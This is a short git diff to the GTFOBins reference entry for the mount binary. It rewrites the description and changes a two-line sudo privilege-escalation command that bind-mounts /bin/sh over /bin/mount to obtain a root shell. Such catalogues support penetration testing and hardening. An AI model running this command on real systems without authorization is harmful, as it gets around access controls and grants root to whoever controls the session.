diff --git a/_gtfobins/mount.md b/_gtfobins/mount.md index d76c4ff..104e35e 100644 --- a/_gtfobins/mount.md +++ b/_gtfobins/mount.md @@ -1,8 +1,8 @@ --- functions: sudo-enabled: - - description: bind mount bash to the mount binary, as mount is sudo enabled. + - description: Exploit the fact that `mount` can be executed via `sudo` to *replace* the `mount` binary with a shell. code: | - sudo mount -o bind /bin/bash /bin/mount + sudo mount -o bind /bin/sh /bin/mount sudo mount ---